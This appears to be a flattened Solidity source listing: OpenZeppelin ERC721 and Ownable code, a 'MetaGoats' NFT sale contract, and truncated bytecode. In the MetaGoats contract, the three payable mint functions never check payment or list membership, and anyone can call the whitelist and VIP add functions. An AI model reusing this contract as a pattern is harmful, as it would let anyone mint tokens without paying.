{safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require( index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract MetaGoats is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public presaleCost = 0.0666 ether; uint256 public vipCost = 0.1 ether; uint256 public publicCost = 0.15 ether; uint256 public maxSupply = 6666; uint256 public maxMintAmount = 5; bool public paused = false; bool public revealed = false; address[] public whitelistedAddresses; address[] public vipAddresses; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function presaleMint(uint256 _mintAmount) public payable { require(!paused); uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } // public function vipMint(uint256 _mintAmount) public payable { require(!paused); uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } // public function publicMint(uint256 _mintAmount) public payable { require(!paused); uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { for (uint256 i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function isOwner(address _user) public view returns (bool) { if (owner() == _user) { return true; } return false; } function isVip(address _user) public view returns (bool) { for (uint256 i = 0; i < vipAddresses.length; i++) { if (vipAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function totalMintedTokens() public view returns (uint256) { uint256 supply = totalSupply(); return supply; } function addWhitelistUser(address _users) public payable { whitelistedAddresses.push(_users); } function addVipUser(address _users) public payable { vipAddresses.push(_users); } function totalVipUsers() public view onlyOwner returns (uint256) { return vipAddresses.length; } function totalWhitelistUsers() public view onlyOwner returns (uint256) { return whitelistedAddresses.length; } function reveal() public onlyOwner { revealed = true; } function setPresaleCost(uint256 _newCost) public onlyOwner { presaleCost = _newCost; } function setVipCost(uint256 _newCost) public onlyOwner { vipCost = _newCost; } function setPublicCost(uint256 _newCost) public onlyOwner { publicCost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function vipUsers(address[] calldata _users) public onlyOwner { delete vipAddresses; vipAddresses = _users; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x6080604052600436106103505760003560e01c806370a08231116101c6578063ba4e5c49116100f7578063e985e9c511610095578063f2c4ce1e1161006f578063f2c4ce1e14610c43578063f2fde38b14610c6c578063f56d118c14610c95578063f6e3a1dc14610cb157610350565b8063e985e9c514610bb4578063edec5f2714610bf1578063eea8a0ed14610c1a57610350565b8063c9b298f1116100d1578063c9b298f114610b28578063d5abeb0114610b44578063d88f65c414610b6f578063da3ef23f14610b8b57610350565b8063ba4e5c4914610a83578063c668286214610ac0578063c87b56dd14610aeb57610350565b80638da5cb5b1161016457806395d89b411161013e57806395d89b41146109ef578063a22cb46514610a1a578063a475b5dd14610a43578063b88d4fde14610a5a57610350565b80638da5cb5b146109705780638e32e3161461099b5780638fdcf942146109c657610350565b8063811d2437116101a0578063811d2437146108c357806384083c89146108ec57806384203f4b146109085780638693da201461094557610350565b806370a0823114610846578063715018a6146108835780637f00c7a61461089a57610350565b80632f745c59116102a0578063518302271161023e5780635c975abb116102185780635c975abb146107765780636045051a146107a15780636352211e146107de5780636c0360eb1461081b57610350565b806351830227146106f75780635531940e1461072257806355f804b31461074d57610350565b80633ccfd60b1161027a5780633ccfd60b1461064a57806342842e0e14610654578063438b63001461067d5780634f6ccce7146106ba57610350565b80632f745c59146105a557806330e12bae146105e25780633af32abf1461060d57610350565b80631146947e1161030d57806323b872dd116102e757806323b872dd146104f85780632a23d07d146105215780632db115441461054c5780632f54bf6e1461056857610350565b80631146947e1461047757806318160ddd146104a2578063239c70ae146104cd57610350565b806301ffc9a71461035557806302329a291461039257806306fdde03146103bb578063081812fc146103e6578063081c